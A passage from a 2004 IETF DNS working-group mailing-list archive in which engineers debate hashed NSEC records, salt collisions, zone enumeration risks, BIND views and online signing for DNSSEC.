having NSEC' as a CLASS rather than a TYPE would fix both the above, and the colliding namespace problem. > A Little Side Track (I am not sure if these scenarios have been > scetched, apologies if I am duplicating arguments) > > EBS1 (Evil Bastard Scenario 0ne): ... > you could actually do a DDOS attack on the zone signing process if the > salt space is to small. Practically I think 32bits of salt is > sufficient to mitigate this, so is registration policy. This is perhaps not as stretched a scenario as you might think even with LONG salts if one is dumb about the cyclic algorithm used (that's why I said "cyclic function of cycle-length N"). The reason is because whilst one can show that the expected number of recalculations is less than 2, if an attacker KNOWS the cyclic algorithm used to produce subseqeuent salts, they could in theory generate names that would collide with a large number of subsequent salts. This suggests that the salts themselves should be produced using a cyclic algorithm known only to the signer, for instance: S(i) = H( i, private value) [pointless aside: perhaps the registry concerned won't mind the extra CPU cycles with all that extra income flowing in] > EBS 2: > > Today the .org registry generates their NSEC2s with salt(0x4e8aeb32). > I register > HASH(salt=0x4e8aeb32, secret-wg.org).org > That forces the .org registry to roll their salt to e.g. salt(0x23a5883d) > at which point I register > HASH(salt=0x23a5883d, secret-wg.org).org > > Problematic? Maybe.. I force them to sign all NSEC2 RRs for all owner > names in their zone while otherwise they could have used incremental > signing. Indeed - you can speed up roll of the salt. To the extent this is a problem, it could be resolved/mitigated either by a) Ensuring the NSEC' records are in a separate namespace completely (see other thread) [resolution] (evil grin: perhaps we should chose the currently maldefined "salt.*.example.com IN NSEC ..."); or b) Ensuring that NSEC' records representation is unlikely to clash with incrementally added namespace; for instance, ensure all NSEC records are of the form "_23a4883d NSEC..." (etc.) - that's only going to be susceptible when you can add NSEC records beginning with "_" (evil grin: perhaps we should chose "*23a4883d NSEC ..."). > The underlying assumption for this is that one version of the zone > would have the same salt for all the NSEC2 RRs. This would not occur > if the NSEC RRs would have owner names in a different namespace in > wich you would not be able (or allowed) to register names (a policy > and not a protocol issue). Yep I think that's (a) above. Another way of mitigating this might be to have multiple NSEC' chains, each with a different salt. Then you only have to roll one complete chain. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 17 Sep 2004 09:29:24 -0400 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <200409152209.i8FM93e8078190@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 16:05:10 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409152209.i8FM93e8078190@drugs.dv.isc.org> To: Mark Andrews <Mark_Andrews@isc.org> Precedence: bulk At 8:09 +1000 9/16/04, Mark Andrews wrote: >> Let's say I ask for ( robertson, IN, TXT ) and the hash of robertson is 9. >> ... >> >> So, I get back a "name error" with "9 NSEC7 13" in the authority >> section. After verifying the record (via the RRSIG), what next? I >> suppose it's then possible to a victim of an insertion attack - an >> interloper passes back this collision with there being a genuine >> robertson in the zone. > > The problem is that you can't return 9 NSEC7 13 + NXDOMAIN. > The NSEC7 says that robertson exists. The RCODE says that > it doesn't. IT DOES NOT WORK. You can - if it's defined to be allowed. Name error means that the name desired is not found - not that the hash of the name is not found. (We've never defined any semantics for hashes of names.) OTOH, even if you define a hash mess to avoid collisions at signing time, you can't guarantee against a query name's hash clash. And OTOH - I agree with KRE, this is a lot of noise about a non-issue. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: any more comments? Date: Fri, 17 Sep 2004 16:01:44 -0400 Lines: 39 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 22:13:57 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk Because of impending travel (RIPE), I'll have some quiet time to go through comments on the wild cards. So I'm asking for those who haven't spoken up yet that have something to add, please hit the list soon. The draft cutoff for the next meeting is October 25. The (non-exhaustive list of) questions out there (reflecting comments to date): 1) Should we remove the restriction on names that start with a '*' and have another in the middle? I think we know how this would work, even if there is some unhappiness with the explanation in the -00's Appendix A. (Hey - it was a '00' ;).) 2) Should we use a phrase like "source of synthesis" when refering to the "power" a domain name starting with a '*' has when it comes to the lookup process? Should we try to abandon the term "wildcard" as it has become too overloaded? 3) Does the prohibition against synthesizing records at non-authoritative servers make "* NS" inherently "illegal"? Is record synthesis followed when it comes to referral messages? The other issues are out there, have been discussed, and I think there's enough agreement to put stuff into words of a draft. (I'm not declaring a consensus, I'm just acting as an editor...) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Sat, 18 Sep 2004 08:04:20 +1000 Lines: 53 Sender: owner-namedroppers@ops.ietf.org References: <a06020400bd70961d8bfa@[192.168.1.100]> Cc: Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sat Sep 18 00:12:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-reply-to: Your message of "Fri, 17 Sep 2004 09:29:24 -0400." <a06020400bd70961d8bfa@[192.168.1.100]> Precedence: bulk > At 8:09 +1000 9/16/04, Mark Andrews wrote: > >> Let's say I ask for ( robertson, IN, TXT ) and the hash of robertson is 9 > . > >> > ... > >> > >> So, I get back a "name error" with "9 NSEC7 13" in the authority > >> section. After verifying the record (via the RRSIG), what next? I > >> suppose it's then possible to a victim of an insertion attack - an > >> interloper passes back this collision with there being a genuine > >> robertson in the zone. > > > > The problem is that you can't return 9 NSEC7 13 + NXDOMAIN. > > The NSEC7 says that robertson exists. The RCODE says that > > it doesn't. IT DOES NOT WORK. > > You can - if it's defined to be allowed. Name error means that the > name desired is not found - not that the hash of the name is not > found. (We've never defined any semantics for hashes of names.) > > OTOH, even if you define a hash mess to avoid collisions at signing > time, you can't guarantee against a query name's hash clash. Thank you Ed. You at least are repeating (if not hearing) what I have been saying. robertson was the QNAME the has was 9. > And OTOH - I agree with KRE, this is a lot of noise about a non-issue. > > -- > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Edward Lewis +1-703-227-9854 > ARIN Research Engineer > > "I can't go to Miami. I'm expecting calls from telemarketers." - > Grandpa Simpson. > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: was Re: Avoiding collisions Date: Fri, 17 Sep 2004 20:10:39 -0400 Lines: 50 Sender: owner-namedroppers@ops.ietf.org References: <200409172204.i8HM4KUG001263@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net> X-From: owner-namedroppers@ops.ietf.org Sat Sep 18 03:08:33 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409172204.i8HM4KUG001263@drugs.dv.isc.org> To: namedroppers@ops.ietf.org Precedence: bulk At 8:04 +1000 9/18/04, Mark Andrews wrote: >> OTOH, even if you define a hash mess to avoid collisions at signing >> time, you can't guarantee against a query name's hash clash. > > Thank you Ed. You at least are repeating (if not hearing) > what I have been saying. Well I think a lot of us are coming around to that reality now. I realized it when I wrote the example - by accident. I'm not saying I was the first to realize it - but that's when I realized it. BTW - I have never been a fan of hash approaches, not even then they were first discussed in 99 or so. To me there's a siren's call associated with them. I guess I have been brainwashed into thinking zone enumeration is a given, but really I can understand why it's undesirable (to say the least). So far just about all of the "complaining" (for lack of a better word) about zone enumeration seems to have come from large registries. Question: is zone enumeration a more general "problem?" I ask this because if zone enumeration is only a problem for large registries, can it be assumed that a solution that is heavy-handed be acceptable? Saying "large" carries the assumption of well-funded, attendant operating staff, and with (machine) resources under one control. "Heavy-handed" in the sense that it would take a considerable out-of-band effort to maintain. Digging further, if the assumption can be made that the only organizations that will need to "defend" against zone enumeration are well-funded to do so, an approach like on-line signing appears to be a start to a solution. (I'd call it heavy handed in the sense that key management is needed.) A "start" - I want to emphasize that. This is all premature still, I don't know if we've come to an understanding of the problem (requirements). But all this talk about hashing and salt... -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Hallam-Baker, Phillip" <pbaker@verisign.com> Subject: Collisions irrelevant Date: Sat, 18 Sep 2004 08:11:44 -0700 Lines: 37 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sat Sep 18 17:26:47 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "'Robert Elz'" <kre@munnari.OZ.AU>, Ben Laurie <ben@algroup.co.uk> X-Mailer: Internet Mail Service (5.5.2657.72) Precedence: bulk I read part of the collisions thread. The whole discussion is irrelevant. Consider the requirements: We have a set of names A = {a0, a1,... an } We have a bag of hashes H = {H(a0), H(a1), ... } Let us imagine that we do have a collision such that H(ai) = H(aj) All this means is that the number of intervals that we need to sign is less than the number of names. The real issue that comes up is when you have a collision in the compliment set X = A' = {x0, x1, ... xm} H(ai) = H(xj) This means that you will be unable to provide a response that proves xj does not exist. If we use SHA1 we can reduce the probability of this occurring to 2^160 / n. The probability that the machine will have a failure is much greater than that. If people are really worried we can use SHA256. and still only need 32 bits. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Hallam-Baker, Phillip" <pbaker@verisign.com> Subject: RE: Collisions irrelevant Date: Sat, 18 Sep 2004 08:36:53 -0700 Lines: 60 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sat Sep 18 17:43:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "Hallam-Baker, Phillip" <pbaker@verisign.com>, "'Robert Elz'" <kre@munnari.OZ.AU>, Ben Laurie <ben@algroup.co.uk> X-Mailer: Internet Mail Service (5.5.2657.72) Precedence: bulk Thats 32 bytes of course. > -----Original Message----- > From: Hallam-Baker, Phillip [mailto:pbaker@verisign.com] > Sent: Saturday, September 18, 2004 11:12 AM > To: 'Robert Elz'; Ben Laurie > Cc: Alex Bligh; namedroppers@ops.ietf.org > Subject: Collisions irrelevant > > > I read part of the collisions thread. > > The whole discussion is irrelevant. Consider the requirements: > > We have a set of names A = {a0, a1,... an } > > We have a bag of hashes H = {H(a0), H(a1), ... } > > Let us imagine that we do have a collision such that > > H(ai) = H(aj) > > All this means is that the number of intervals that we need > to sign is less > than the number of names. > > The real issue that comes up is when you have a collision in > the compliment > set X = A' = {x0, x1, ... xm} > > H(ai) = H(xj) > > This means that you will be unable to provide a response that > proves xj does > not exist. > > > If we use SHA1 we can reduce the probability of this > occurring to 2^160 / n. > > The probability that the machine will have a failure is much > greater than > that. > > If people are really worried we can use SHA256. and still > only need 32 bits. > > > -- > to unsubscribe send a message to > namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> > -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <paul@vix.com> Subject: Re: was Re: Avoiding collisions Date: Sun, 19 Sep 2004 03:54:32 +0000 Lines: 43 Sender: owner-namedroppers@ops.ietf.org References: <edlewis@arin.net> X-From: owner-namedroppers@ops.ietf.org Sun Sep 19 06:07:57 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Edward Lewis <edlewis@arin.net> of "Fri, 17 Sep 2004 20:10:39 -0400." <a06020400bd7129cd074f@[192.168.1.100]> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk ed lewis wrote, as his way of demonstrating that he has me in his KILL file and hasn't read a thing i've posted to namedroppers this year: > ... > > So far just about all of the "complaining" (for lack of a better word) > about zone enumeration seems to have come from large registries. > Question: is zone enumeration a more general "problem?" no. > I ask this because if zone enumeration is only a problem for large > registries, can it be assumed that a solution that is heavy-handed be > acceptable? yes. > ... > > Digging further, if the assumption can be made that the only > organizations that will need to "defend" against zone enumeration are > well-funded to do so, an approach like on-line signing appears to be a > start to a solution. exactly right. if one principle of good engineering is to minimize cost in the average case, then dnssec-bis is nearly complete as-is, and the only thing that's needed is to ensure that online signing isn't a "white lie" but rather signalled unambiguously in the protocol. people who fear enumeration will use "views" if they are a registrant (which they are already doing, according to me), or online signing if they are a registry. people who don't fear enumeration will run vanilla dnssec-bis with no special stuff. everybody will be happy except the registry operators who didn't want to pay extra megabucks for the online signing capability, and nobody will sympathize because we all know they will just pass these costs on to the registrants, or reduce their operating margins, or both. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: was Re: Avoiding collisions Date: Sun, 19 Sep 2004 12:57:01 +0200 Lines: 36 Sender: owner-namedroppers@ops.ietf.org References: <200409172204.i8HM4KUG001263@drugs.dv.isc.org> <a06020400bd7129cd074f@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Sun Sep 19 13:13:03 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 29 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:WvWdTU5zUHqEu7SUbt9KUMSLbUg= Precedence: bulk Edward Lewis <edlewis@arin.net> writes: > So far just about all of the "complaining" (for lack of a better > word) about zone enumeration seems to have come from large > registries. Question: is zone enumeration a more general "problem?" Yes. The risks in smaller zones further down in the domain tree are different from the risks in zones higher up in the tree, but they do exist. The citation I like to give, on risks in smaller zones, is: Steven M. Bellovin, "Using the Domain Name System for System Break-Ins", in Proceedings of the Fifth Usenix UNIX Security Symposium, Salt Lake City, UT, June, 1995. http://www.research.att.com/~smb/papers/dnshack.pdf > I ask this because if zone enumeration is only a problem for large > registries, can it be assumed that a solution that is heavy-handed be > acceptable? Saying "large" carries the assumption of well-funded, > attendant operating staff, and with (machine) resources under one > control. "Heavy-handed" in the sense that it would take a > considerable out-of-band effort to maintain. Without any details of what you are thinking of, it is difficult to say. Even todays DNSSEC require various out-of-band efforts to maintain; for key exchanges, root key configuration, key rollover etc. If it was on that magnitude, it isn't a problem, but if this is more heavy-handed than that, I'm not so sure. Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <paul@vix.com> Subject: Re: was Re: Avoiding collisions Date: Sun, 19 Sep 2004 15:25:07 +0000 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <jas@extundo.com> X-From: owner-namedroppers@ops.ietf.org Sun Sep 19 17:39:15 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Simon Josefsson <jas@extundo.com> of "Sun, 19 Sep 2004 12:57:01 +0200." <iluoek2le6a.fsf@latte.josefsson.org> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk > > So far just about all of the "complaining" (for lack of a better > > word) about zone enumeration seems to have come from large > > registries. Question: is zone enumeration a more general "problem?" > > Yes. The risks in smaller zones further down in the domain tree are > different from the risks in zones higher up in the tree, but they do > exist. The citation I like to give, on risks in smaller zones, is: > > Steven M. Bellovin, "Using the Domain Name System for System > Break-Ins", in Proceedings of the Fifth Usenix UNIX Security > Symposium, Salt Lake City, UT, June, 1995. > http://www.research.att.com/~smb/papers/dnshack.pdf i say no. smaller zones further down in the domain tree who fear enumeration are already using views, because turning off AXFR isn't good enough for them. note that the bellovin paper and presentation were better than mine at the same conference: Vixie, Paul A., "DNS and BIND Security Issues", Proceedings of the Fifth Usenix UNIX Security Symposium, Salt Lake City, UT, June, 1995. http://sa.vix.com/~vixie/bindsec.psf but i stand by what i wrote -- most dns-related breakins up to that time were due to poor dns implementations rather than to data exposure. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: was Re: Avoiding collisions Date: Sun, 19 Sep 2004 16:59:31 +0100 Lines: 20 Sender: owner-namedroppers@ops.ietf.org References: <20040919152507.A2C2513951@sa.vix.com> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Sun Sep 19 18:06:51 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Paul Vixie <paul@vix.com>, namedroppers@ops.ietf.org In-Reply-To: <20040919152507.A2C2513951@sa.vix.com> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 19 September 2004 15:25 +0000 Paul Vixie <paul@vix.com> wrote: >>> Question: is zone enumeration a more general "problem?" >> >> Yes ... > i say no. Guys - aren't we back to discussing what our chairs suggested we shouldn't discuss (hence the 20 line statements of position). Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: was Re: Avoiding collisions Date: Sun, 19 Sep 2004 18:17:13 +0200 Lines: 57 Sender: owner-namedroppers@ops.ietf.org References: <jas@extundo.com> <20040919152507.A2C2513951@sa.vix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Sun Sep 19 18:23:48 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 50 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:x9B2TEnuKkNJD4wbaBLxr1LCM10= Precedence: bulk Paul Vixie <paul@vix.com> writes: >> > So far just about all of the "complaining" (for lack of a better >> > word) about zone enumeration seems to have come from large >> > registries. Question: is zone enumeration a more general "problem?" >> >> Yes. The risks in smaller zones further down in the domain tree are >> different from the risks in zones higher up in the tree, but they do >> exist. The citation I like to give, on risks in smaller zones, is: >> >> Steven M. Bellovin, "Using the Domain Name System for System >> Break-Ins", in Proceedings of the Fifth Usenix UNIX Security >> Symposium, Salt Lake City, UT, June, 1995. >> http://www.research.att.com/~smb/papers/dnshack.pdf > > i say no. smaller zones further down in the domain tree who fear > enumeration are already using views, because turning off AXFR isn't > good enough for them. Aren't views only useful if you can control, or find out, from where the DNS information will be accessed? If owners of a small zone want to be able to go into an Internet cafe (in other words, an "unknown" IP address), and be able to look up their server's hostname in DNS, views doesn't seem to be a solution. My claim is that it is useful for the small zone owner to prevent trivial enumeration via NSEC, but still permit public access to the data. As described in Bellovin's paper, trivial enumeration allow attackers to easily find out names of all targets of an attack. Gathering the same information without trivial NSEC enumeration is more difficult, and may be enough to hold off some percentage of attackers. Since there is no absolute security, fending of some percentage of attackers is what various security measures can hope to achieve. We can discuss the actual percentage figure, but my view is that it is significant. Think "script kiddies" that exploit the latest flaw in Sendmail/OpenSSH/BIND against every server in your domain. The situation is comparable to other databases with public but sensitive information. Like WHOIS. Full access can be restricted, but still queries are allowed. I good discussion of the social aspects is given in <http://www.cs.uwyo.edu/~rex/privacy.html>. In any case, if "views" would be the suggested remedy for this problem for small zones, the idea should be adopted and described by the WG. Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <vixie@vix.com> Subject: Re: was Re: Avoiding collisions Date: 19 Sep 2004 17:45:41 +0000 Lines: 74 Sender: owner-namedroppers@ops.ietf.org References: <jas@extundo.com> <20040919152507.A2C2513951@sa.vix.com> <cikbrb$c3j$1@sf1.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Sun Sep 19 19:53:41 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <cikbrb$c3j$1@sf1.isc.org> Lines: 68 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 Precedence: bulk Simon Josefsson <jas@extundo.com> writes: > Aren't views only useful if you can control, or find out, from where > the DNS information will be accessed? "views" is a BIND9 thing. a view can be selected based on the ip address of a requestor, or on other criteria (like signing with a certain TSIG key). > If owners of a small zone want to be able to go into an Internet cafe > (in other words, an "unknown" IP address), and be able to look up > their server's hostname in DNS, views doesn't seem to be a solution. that's kind of what the TSIG key does for you. > My claim is that it is useful for the small zone owner to prevent > trivial enumeration via NSEC, but still permit public access to the > data. As described in Bellovin's paper, trivial enumeration allow > attackers to easily find out names of all targets of an attack. my counterclaim is that if the public has access to the data, then even a moderately determined attacker can find enough hostnames (from Received: headers in e-mail archives, from web crawling, from traceroute, from doing a dictionary attack) that a small zone owner who is worried about enumeration is going to have to use views to prevent queries from succeeding. turning off axfr, or changing dnssec to prevent nsec-walking, isn't going to be enough for these people. the problem they're having is already in their lives, and allowing nsec-walking doesn't make it worse, and preventing nsec-walking would not make it better. it's worth noting that small zone owners are the primary audience for BIND, and their needs (as revealed by consulting, support, software development, and other contacts made by myself and others at ISC over the last 25 years) are the driving force behind BIND9 having "views" in the first place. i possess direct knowledge, in other words, of who wants this feature, who uses this feature, and why. > Gathering the same information without trivial NSEC enumeration is > more difficult, and may be enough to hold off some percentage of > attackers. Since there is no absolute security, fending of some > percentage of attackers is what various security measures can hope to > achieve. We can discuss the actual percentage figure, but my view is > that it is significant. Think "script kiddies" that exploit the > latest flaw in Sendmail/OpenSSH/BIND against every server in your > domain. this opens a new category of victim -- the hapless kind. you're assuming that folks who would be hurt by enumeration cannot self-identify. this is not my experience -- for instance, BIND4 was the first dns implementation to allow the protocol breakage known as "prohibiting or limiting axfr", and as with views, i know who this was added to please, and why they wanted it. if we're going to specify DNS in such a way that implementations are all required to lock down the set of features that "hapless zone owners" would be injured by if the defaults weren't restrictive, then that's a new topic. presumably such a regime would include restricting zone transfers (which is not described in the protocol), using TSIG to enable views of sensitive data (which is not described in the protocol), and things like strong root passwords, non-world-readable zone files, and so on. that's a big project and it may belong in a different ietf area than the one namedroppers is in. > In any case, if "views" would be the suggested remedy for this problem > for small zones, the idea should be adopted and described by the WG. that's at best premature. the requirements document isn't done yet. this thread is part of a debate as to whether confidentiality should be listed as a requirement. -- Paul Vixie -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: was Re: Avoiding collisions Date: Mon, 20 Sep 2004 08:20:22 +1000 Lines: 39 Sender: owner-namedroppers@ops.ietf.org References: <iluoek2le6a.fsf@latte.josefsson.org> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 00:31:39 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Simon Josefsson <jas@extundo.com> In-reply-to: Your message of "Sun, 19 Sep 2004 12:57:01 +0200." <iluoek2le6a.fsf@latte.josefsson.org> Precedence: bulk > Edward Lewis <edlewis@arin.net> writes: > > > So far just about all of the "complaining" (for lack of a better > > word) about zone enumeration seems to have come from large > > registries. Question: is zone enumeration a more general "problem?" > > Yes. The risks in smaller zones further down in the domain tree are > different from the risks in zones higher up in the tree, but they do > exist. The citation I like to give, on risks in smaller zones, is: > > Steven M. Bellovin, "Using the Domain Name System for System Break-Ins", in > Proceedings of the Fifth Usenix UNIX Security Symposium, Salt Lake City, UT > , > June, 1995. http://www.research.att.com/~smb/papers/dnshack.pdf This is no so much zone enumeration but lack of security in the answers being returned. AXFR was in both the solution and problem spaces. It gave you the names but it also allowed the caches to be protected from spoofing of replies. The problem was and still is that AXFR doesn't scale and you couldn't know in advance all the names that would be added to .rhosts files. As with most things enumeration was not just bad or just good but a mixture. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: was Re: Avoiding collisions Date: Mon, 20 Sep 2004 01:14:12 +0200 Lines: 90 Sender: owner-namedroppers@ops.ietf.org References: <jas@extundo.com> <20040919152507.A2C2513951@sa.vix.com> <cikbrb$c3j$1@sf1.isc.org> <g3ekkyduey.fsf@sa.vix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Mon Sep 20 01:21:40 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 83 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:qUqK3WxRoHyxRaNHqiP8HAL0AgA= Precedence: bulk Paul Vixie <vixie@vix.com> writes: >> My claim is that it is useful for the small zone owner to prevent >> trivial enumeration via NSEC, but still permit public access to the >> data. As described in Bellovin's paper, trivial enumeration allow >> attackers to easily find out names of all targets of an attack. > > my counterclaim is that if the public has access to the data, then even a > moderately determined attacker can find enough hostnames (from Received: > headers in e-mail archives, from web crawling, from traceroute, from doing > a dictionary attack) that a small zone owner who is worried about > enumeration is going to have to use views to prevent queries from > succeeding. I don't see how these claims are in conflict. Preventing zone enumeration, like disabling AXFR, prevent some problems. They don't 